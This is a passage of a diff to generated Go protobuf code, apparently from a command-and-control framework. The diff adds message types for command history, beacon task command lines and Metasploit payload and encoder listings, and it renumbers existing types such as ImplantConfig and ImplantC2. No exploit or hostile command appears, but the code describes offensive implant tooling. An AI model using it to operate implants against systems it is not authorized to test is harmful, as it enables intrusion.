`protobuf:"bytes,9,opt,name=Response,proto3" json:"Response,omitempty"` +} + +func (x *History) Reset() { + *x = History{} + if protoimpl.UnsafeEnabled { + mi := &file_clientpb_client_proto_msgTypes[6] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *History) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*History) ProtoMessage() {} + +func (x *History) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[6] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use History.ProtoReflect.Descriptor instead. +func (*History) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{6} +} + +func (x *History) GetHistoryLen() int32 { + if x != nil { + return x.HistoryLen + } + return 0 +} + +func (x *History) GetUserOnly() bool { + if x != nil { + return x.UserOnly + } + return false +} + +func (x *History) GetCommands() []*ImplantCommand { + if x != nil { + return x.Commands + } + return nil +} + +func (x *History) GetResponse() *commonpb.Response { + if x != nil { + return x.Response + } + return nil +} + type Session struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -1207,7 +1571,7 @@ type Session struct { func (x *Session) Reset() { *x = Session{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[2] + mi := &file_clientpb_client_proto_msgTypes[7] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1220,7 +1584,7 @@ func (x *Session) String() string { func (*Session) ProtoMessage() {} func (x *Session) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[2] + mi := &file_clientpb_client_proto_msgTypes[7] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1233,7 +1597,7 @@ func (x *Session) ProtoReflect() protoreflect.Message { // Deprecated: Use Session.ProtoReflect.Descriptor instead. func (*Session) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{2} + return file_clientpb_client_proto_rawDescGZIP(), []int{7} } func (x *Session) GetID() string { @@ -1449,7 +1813,7 @@ type Beacon struct { func (x *Beacon) Reset() { *x = Beacon{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[3] + mi := &file_clientpb_client_proto_msgTypes[8] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1462,7 +1826,7 @@ func (x *Beacon) String() string { func (*Beacon) ProtoMessage() {} func (x *Beacon) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[3] + mi := &file_clientpb_client_proto_msgTypes[8] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1475,7 +1839,7 @@ func (x *Beacon) ProtoReflect() protoreflect.Message { // Deprecated: Use Beacon.ProtoReflect.Descriptor instead. func (*Beacon) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{3} + return file_clientpb_client_proto_rawDescGZIP(), []int{8} } func (x *Beacon) GetID() string { @@ -1685,7 +2049,7 @@ type Beacons struct { func (x *Beacons) Reset() { *x = Beacons{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[4] + mi := &file_clientpb_client_proto_msgTypes[9] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1698,7 +2062,7 @@ func (x *Beacons) String() string { func (*Beacons) ProtoMessage() {} func (x *Beacons) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[4] + mi := &file_clientpb_client_proto_msgTypes[9] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1711,7 +2075,7 @@ func (x *Beacons) ProtoReflect() protoreflect.Message { // Deprecated: Use Beacons.ProtoReflect.Descriptor instead. func (*Beacons) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{4} + return file_clientpb_client_proto_rawDescGZIP(), []int{9} } func (x *Beacons) GetBeacons() []*Beacon { @@ -1726,21 +2090,22 @@ type BeaconTask struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - ID string `protobuf:"bytes,1,opt,name=ID,proto3" json:"ID,omitempty"` - BeaconID string `protobuf:"bytes,2,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"` - CreatedAt int64 `protobuf:"varint,3,opt,name=CreatedAt,proto3" json:"CreatedAt,omitempty"` - State string `protobuf:"bytes,4,opt,name=State,proto3" json:"State,omitempty"` - SentAt int64 `protobuf:"varint,5,opt,name=SentAt,proto3" json:"SentAt,omitempty"` - CompletedAt int64 `protobuf:"varint,6,opt,name=CompletedAt,proto3" json:"CompletedAt,omitempty"` - Request []byte `protobuf:"bytes,7,opt,name=Request,proto3" json:"Request,omitempty"` - Response []byte `protobuf:"bytes,8,opt,name=Response,proto3" json:"Response,omitempty"` - Description string `protobuf:"bytes,9,opt,name=Description,proto3" json:"Description,omitempty"` + ID string `protobuf:"bytes,1,opt,name=ID,proto3" json:"ID,omitempty"` + BeaconID string `protobuf:"bytes,2,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"` + CreatedAt int64 `protobuf:"varint,3,opt,name=CreatedAt,proto3" json:"CreatedAt,omitempty"` + State string `protobuf:"bytes,4,opt,name=State,proto3" json:"State,omitempty"` + SentAt int64 `protobuf:"varint,5,opt,name=SentAt,proto3" json:"SentAt,omitempty"` + CompletedAt int64 `protobuf:"varint,6,opt,name=CompletedAt,proto3" json:"CompletedAt,omitempty"` + Request []byte `protobuf:"bytes,7,opt,name=Request,proto3" json:"Request,omitempty"` + Response []byte `protobuf:"bytes,8,opt,name=Response,proto3" json:"Response,omitempty"` + Description string `protobuf:"bytes,9,opt,name=Description,proto3" json:"Description,omitempty"` + CmdLine []string `protobuf:"bytes,10,rep,name=CmdLine,proto3" json:"CmdLine,omitempty"` } func (x *BeaconTask) Reset() { *x = BeaconTask{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[5] + mi := &file_clientpb_client_proto_msgTypes[10] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1753,7 +2118,7 @@ func (x *BeaconTask) String() string { func (*BeaconTask) ProtoMessage() {} func (x *BeaconTask) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[5] + mi := &file_clientpb_client_proto_msgTypes[10] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1766,7 +2131,7 @@ func (x *BeaconTask) ProtoReflect() protoreflect.Message { // Deprecated: Use BeaconTask.ProtoReflect.Descriptor instead. func (*BeaconTask) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{5} + return file_clientpb_client_proto_rawDescGZIP(), []int{10} } func (x *BeaconTask) GetID() string { @@ -1832,6 +2197,13 @@ func (x *BeaconTask) GetDescription() string { return "" } +func (x *BeaconTask) GetCmdLine() []string { + if x != nil { + return x.CmdLine + } + return nil +} + type BeaconTasks struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -1844,7 +2216,7 @@ type BeaconTasks struct { func (x *BeaconTasks) Reset() { *x = BeaconTasks{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[6] + mi := &file_clientpb_client_proto_msgTypes[11] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1857,7 +2229,7 @@ func (x *BeaconTasks) String() string { func (*BeaconTasks) ProtoMessage() {} func (x *BeaconTasks) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[6] + mi := &file_clientpb_client_proto_msgTypes[11] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1870,7 +2242,7 @@ func (x *BeaconTasks) ProtoReflect() protoreflect.Message { // Deprecated: Use BeaconTasks.ProtoReflect.Descriptor instead. func (*BeaconTasks) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{6} + return file_clientpb_client_proto_rawDescGZIP(), []int{11} } func (x *BeaconTasks) GetBeaconID() string { @@ -1900,7 +2272,7 @@ type ImplantC2 struct { func (x *ImplantC2) Reset() { *x = ImplantC2{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[7] + mi := &file_clientpb_client_proto_msgTypes[12] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -1913,7 +2285,7 @@ func (x *ImplantC2) String() string { func (*ImplantC2) ProtoMessage() {} func (x *ImplantC2) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[7] + mi := &file_clientpb_client_proto_msgTypes[12] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -1926,7 +2298,7 @@ func (x *ImplantC2) ProtoReflect() protoreflect.Message { // Deprecated: Use ImplantC2.ProtoReflect.Descriptor instead. func (*ImplantC2) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{7} + return file_clientpb_client_proto_rawDescGZIP(), []int{12} } func (x *ImplantC2) GetPriority() uint32 { @@ -2009,7 +2381,7 @@ type ImplantConfig struct { func (x *ImplantConfig) Reset() { *x = ImplantConfig{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[8] + mi := &file_clientpb_client_proto_msgTypes[13] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2022,7 +2394,7 @@ func (x *ImplantConfig) String() string { func (*ImplantConfig) ProtoMessage() {} func (x *ImplantConfig) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[8] + mi := &file_clientpb_client_proto_msgTypes[13] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2035,7 +2407,7 @@ func (x *ImplantConfig) ProtoReflect() protoreflect.Message { // Deprecated: Use ImplantConfig.ProtoReflect.Descriptor instead. func (*ImplantConfig) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{8} + return file_clientpb_client_proto_rawDescGZIP(), []int{13} } func (x *ImplantConfig) GetID() string { @@ -2388,7 +2760,7 @@ type TrafficEncoder struct { func (x *TrafficEncoder) Reset() { *x = TrafficEncoder{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[9] + mi := &file_clientpb_client_proto_msgTypes[14] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2401,7 +2773,7 @@ func (x *TrafficEncoder) String() string { func (*TrafficEncoder) ProtoMessage() {} func (x *TrafficEncoder) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[9] + mi := &file_clientpb_client_proto_msgTypes[14] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2414,7 +2786,7 @@ func (x *TrafficEncoder) ProtoReflect() protoreflect.Message { // Deprecated: Use TrafficEncoder.ProtoReflect.Descriptor instead. func (*TrafficEncoder) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{9} + return file_clientpb_client_proto_rawDescGZIP(), []int{14} } func (x *TrafficEncoder) GetID() uint64 { @@ -2457,7 +2829,7 @@ type TrafficEncoderMap struct { func (x *TrafficEncoderMap) Reset() { *x = TrafficEncoderMap{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[10] + mi := &file_clientpb_client_proto_msgTypes[15] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2470,7 +2842,7 @@ func (x *TrafficEncoderMap) String() string { func (*TrafficEncoderMap) ProtoMessage() {} func (x *TrafficEncoderMap) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[10] + mi := &file_clientpb_client_proto_msgTypes[15] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2483,7 +2855,7 @@ func (x *TrafficEncoderMap) ProtoReflect() protoreflect.Message { // Deprecated: Use TrafficEncoderMap.ProtoReflect.Descriptor instead. func (*TrafficEncoderMap) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{10} + return file_clientpb_client_proto_rawDescGZIP(), []int{15} } func (x *TrafficEncoderMap) GetEncoders() map[string]*TrafficEncoder { @@ -2509,7 +2881,7 @@ type TrafficEncoderTest struct { func (x *TrafficEncoderTest) Reset() { *x = TrafficEncoderTest{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[11] + mi := &file_clientpb_client_proto_msgTypes[16] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2522,7 +2894,7 @@ func (x *TrafficEncoderTest) String() string { func (*TrafficEncoderTest) ProtoMessage() {} func (x *TrafficEncoderTest) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[11] + mi := &file_clientpb_client_proto_msgTypes[16] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2535,7 +2907,7 @@ func (x *TrafficEncoderTest) ProtoReflect() protoreflect.Message { // Deprecated: Use TrafficEncoderTest.ProtoReflect.Descriptor instead. func (*TrafficEncoderTest) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{11} + return file_clientpb_client_proto_rawDescGZIP(), []int{16} } func (x *TrafficEncoderTest) GetName() string { @@ -2594,7 +2966,7 @@ type TrafficEncoderTests struct { func (x *TrafficEncoderTests) Reset() { *x = TrafficEncoderTests{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[12] + mi := &file_clientpb_client_proto_msgTypes[17] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2607,7 +2979,7 @@ func (x *TrafficEncoderTests) String() string { func (*TrafficEncoderTests) ProtoMessage() {} func (x *TrafficEncoderTests) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[12] + mi := &file_clientpb_client_proto_msgTypes[17] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2620,7 +2992,7 @@ func (x *TrafficEncoderTests) ProtoReflect() protoreflect.Message { // Deprecated: Use TrafficEncoderTests.ProtoReflect.Descriptor instead. func (*TrafficEncoderTests) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{12} + return file_clientpb_client_proto_rawDescGZIP(), []int{17} } func (x *TrafficEncoderTests) GetEncoder() *TrafficEncoder { @@ -2663,7 +3035,7 @@ type ExternalImplantConfig struct { func (x *ExternalImplantConfig) Reset() { *x = ExternalImplantConfig{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[13] + mi := &file_clientpb_client_proto_msgTypes[18] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2676,7 +3048,7 @@ func (x *ExternalImplantConfig) String() string { func (*ExternalImplantConfig) ProtoMessage() {} func (x *ExternalImplantConfig) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[13] + mi := &file_clientpb_client_proto_msgTypes[18] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2689,7 +3061,7 @@ func (x *ExternalImplantConfig) ProtoReflect() protoreflect.Message { // Deprecated: Use ExternalImplantConfig.ProtoReflect.Descriptor instead. func (*ExternalImplantConfig) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{13} + return file_clientpb_client_proto_rawDescGZIP(), []int{18} } func (x *ExternalImplantConfig) GetConfig() *ImplantConfig { @@ -2719,7 +3091,7 @@ type ExternalImplantBinary struct { func (x *ExternalImplantBinary) Reset() { *x = ExternalImplantBinary{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[14] + mi := &file_clientpb_client_proto_msgTypes[19] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2732,7 +3104,7 @@ func (x *ExternalImplantBinary) String() string { func (*ExternalImplantBinary) ProtoMessage() {} func (x *ExternalImplantBinary) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[14] + mi := &file_clientpb_client_proto_msgTypes[19] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2745,7 +3117,7 @@ func (x *ExternalImplantBinary) ProtoReflect() protoreflect.Message { // Deprecated: Use ExternalImplantBinary.ProtoReflect.Descriptor instead. func (*ExternalImplantBinary) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{14} + return file_clientpb_client_proto_rawDescGZIP(), []int{19} } func (x *ExternalImplantBinary) GetName() string { @@ -2781,7 +3153,7 @@ type ImplantBuilds struct { func (x *ImplantBuilds) Reset() { *x = ImplantBuilds{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[15] + mi := &file_clientpb_client_proto_msgTypes[20] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2794,7 +3166,7 @@ func (x *ImplantBuilds) String() string { func (*ImplantBuilds) ProtoMessage() {} func (x *ImplantBuilds) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[15] + mi := &file_clientpb_client_proto_msgTypes[20] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2807,7 +3179,7 @@ func (x *ImplantBuilds) ProtoReflect() protoreflect.Message { // Deprecated: Use ImplantBuilds.ProtoReflect.Descriptor instead. func (*ImplantBuilds) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{15} + return file_clientpb_client_proto_rawDescGZIP(), []int{20} } func (x *ImplantBuilds) GetConfigs() map[string]*ImplantConfig { @@ -2830,7 +3202,7 @@ type CompilerTarget struct { func (x *CompilerTarget) Reset() { *x = CompilerTarget{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[16] + mi := &file_clientpb_client_proto_msgTypes[21] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2843,7 +3215,7 @@ func (x *CompilerTarget) String() string { func (*CompilerTarget) ProtoMessage() {} func (x *CompilerTarget) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[16] + mi := &file_clientpb_client_proto_msgTypes[21] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2856,7 +3228,7 @@ func (x *CompilerTarget) ProtoReflect() protoreflect.Message { // Deprecated: Use CompilerTarget.ProtoReflect.Descriptor instead. func (*CompilerTarget) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{16} + return file_clientpb_client_proto_rawDescGZIP(), []int{21} } func (x *CompilerTarget) GetGOOS() string { @@ -2894,7 +3266,7 @@ type CrossCompiler struct { func (x *CrossCompiler) Reset() { *x = CrossCompiler{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[17] + mi := &file_clientpb_client_proto_msgTypes[22] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2907,7 +3279,7 @@ func (x *CrossCompiler) String() string { func (*CrossCompiler) ProtoMessage() {} func (x *CrossCompiler) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[17] + mi := &file_clientpb_client_proto_msgTypes[22] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2920,7 +3292,7 @@ func (x *CrossCompiler) ProtoReflect() protoreflect.Message { // Deprecated: Use CrossCompiler.ProtoReflect.Descriptor instead. func (*CrossCompiler) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{17} + return file_clientpb_client_proto_rawDescGZIP(), []int{22} } func (x *CrossCompiler) GetTargetGOOS() string { @@ -2966,7 +3338,7 @@ type Compiler struct { func (x *Compiler) Reset() { *x = Compiler{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[18] + mi := &file_clientpb_client_proto_msgTypes[23] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -2979,7 +3351,7 @@ func (x *Compiler) String() string { func (*Compiler) ProtoMessage() {} func (x *Compiler) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[18] + mi := &file_clientpb_client_proto_msgTypes[23] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -2992,7 +3364,7 @@ func (x *Compiler) ProtoReflect() protoreflect.Message { // Deprecated: Use Compiler.ProtoReflect.Descriptor instead. func (*Compiler) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{18} + return file_clientpb_client_proto_rawDescGZIP(), []int{23} } func (x *Compiler) GetGOOS() string { @@ -3030,6 +3402,156 @@ func (x *Compiler) GetUnsupportedTargets() []*CompilerTarget { return nil } +type MetasploitModule struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Name string `protobuf:"bytes,1,opt,name=Name,proto3" json:"Name,omitempty"` + FullName string `protobuf:"bytes,2,opt,name=FullName,proto3" json:"FullName,omitempty"` + Description string `protobuf:"bytes,3,opt,name=Description,proto3" json:"Description,omitempty"` + Quality string `protobuf:"bytes,4,opt,name=Quality,proto3" json:"Quality,omitempty"` +} + +func (x *MetasploitModule) Reset() { + *x = MetasploitModule{} + if protoimpl.UnsafeEnabled { + mi := &file_clientpb_client_proto_msgTypes[24] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *MetasploitModule) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*MetasploitModule) ProtoMessage() {} + +func (x *MetasploitModule) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[24] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use MetasploitModule.ProtoReflect.Descriptor instead. +func (*MetasploitModule) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{24} +} + +func (x *MetasploitModule) GetName() string { + if x != nil { + return x.Name + } + return "" +} + +func (x *MetasploitModule) GetFullName() string { + if x != nil { + return x.FullName + } + return "" +} + +func (x *MetasploitModule) GetDescription() string { + if x != nil { + return x.Description + } + return "" +} + +func (x *MetasploitModule) GetQuality() string { + if x != nil { + return x.Quality + } + return "" +} + +type MetasploitCompiler struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Version string `protobuf:"bytes,1,opt,name=Version,proto3" json:"Version,omitempty"` + Formats []string `protobuf:"bytes,2,rep,name=Formats,proto3" json:"Formats,omitempty"` + Archs []string `protobuf:"bytes,3,rep,name=Archs,proto3" json:"Archs,omitempty"` + Encoders []*MetasploitModule `protobuf:"bytes,4,rep,name=Encoders,proto3" json:"Encoders,omitempty"` + Payloads []*MetasploitModule `protobuf:"bytes,5,rep,name=Payloads,proto3" json:"Payloads,omitempty"` +} + +func (x *MetasploitCompiler) Reset() { + *x = MetasploitCompiler{} + if protoimpl.UnsafeEnabled { + mi := &file_clientpb_client_proto_msgTypes[25] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *MetasploitCompiler) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*MetasploitCompiler) ProtoMessage() {} + +func (x *MetasploitCompiler) ProtoReflect() protoreflect.Message { + mi := &file_clientpb_client_proto_msgTypes[25] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use MetasploitCompiler.ProtoReflect.Descriptor instead. +func (*MetasploitCompiler) Descriptor() ([]byte, []int) { + return file_clientpb_client_proto_rawDescGZIP(), []int{25} +} + +func (x *MetasploitCompiler) GetVersion() string { + if x != nil { + return x.Version + } + return "" +} + +func (x *MetasploitCompiler) GetFormats() []string { + if x != nil { + return x.Formats + } + return nil +} + +func (x *MetasploitCompiler) GetArchs() []string { + if x != nil { + return x.Archs + } + return nil +} + +func (x *MetasploitCompiler) GetEncoders() []*MetasploitModule { + if x != nil { + return x.Encoders + } + return nil +} + +func (x *MetasploitCompiler) GetPayloads() []*MetasploitModule { + if x != nil { + return x.Payloads + } + return nil +} + type DeleteReq struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -3041,7 +3563,7 @@ type DeleteReq struct { func (x *DeleteReq) Reset() { *x = DeleteReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[19] + mi := &file_clientpb_client_proto_msgTypes[26] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3054,7 +3576,7 @@ func (x *DeleteReq) String() string { func (*DeleteReq) ProtoMessage() {} func (x *DeleteReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[19] + mi := &file_clientpb_client_proto_msgTypes[26] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3067,7 +3589,7 @@ func (x *DeleteReq) ProtoReflect() protoreflect.Message { // Deprecated: Use DeleteReq.ProtoReflect.Descriptor instead. func (*DeleteReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{19} + return file_clientpb_client_proto_rawDescGZIP(), []int{26} } func (x *DeleteReq) GetName() string { @@ -3094,7 +3616,7 @@ type DNSCanary struct { func (x *DNSCanary) Reset() { *x = DNSCanary{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[20] + mi := &file_clientpb_client_proto_msgTypes[27] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3107,7 +3629,7 @@ func (x *DNSCanary) String() string { func (*DNSCanary) ProtoMessage() {} func (x *DNSCanary) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[20] + mi := &file_clientpb_client_proto_msgTypes[27] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3120,7 +3642,7 @@ func (x *DNSCanary) ProtoReflect() protoreflect.Message { // Deprecated: Use DNSCanary.ProtoReflect.Descriptor instead. func (*DNSCanary) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{20} + return file_clientpb_client_proto_rawDescGZIP(), []int{27} } func (x *DNSCanary) GetImplantName() string { @@ -3176,7 +3698,7 @@ type Canaries struct { func (x *Canaries) Reset() { *x = Canaries{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[21] + mi := &file_clientpb_client_proto_msgTypes[28] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -3189,7 +3711,7 @@ func (x *Canaries) String() string { func (*Canaries) ProtoMessage() {} func (x *Canaries) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[21] + mi := &file_clientpb_client_proto_msgTypes[28] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -3202,7 +3724,7 @@ func (x *Canaries) ProtoReflect() protoreflect.Message { // Deprecated: Use Canaries.ProtoReflect.Descriptor instead. func (*Canaries) Descriptor() ([]byte, []int) { - return 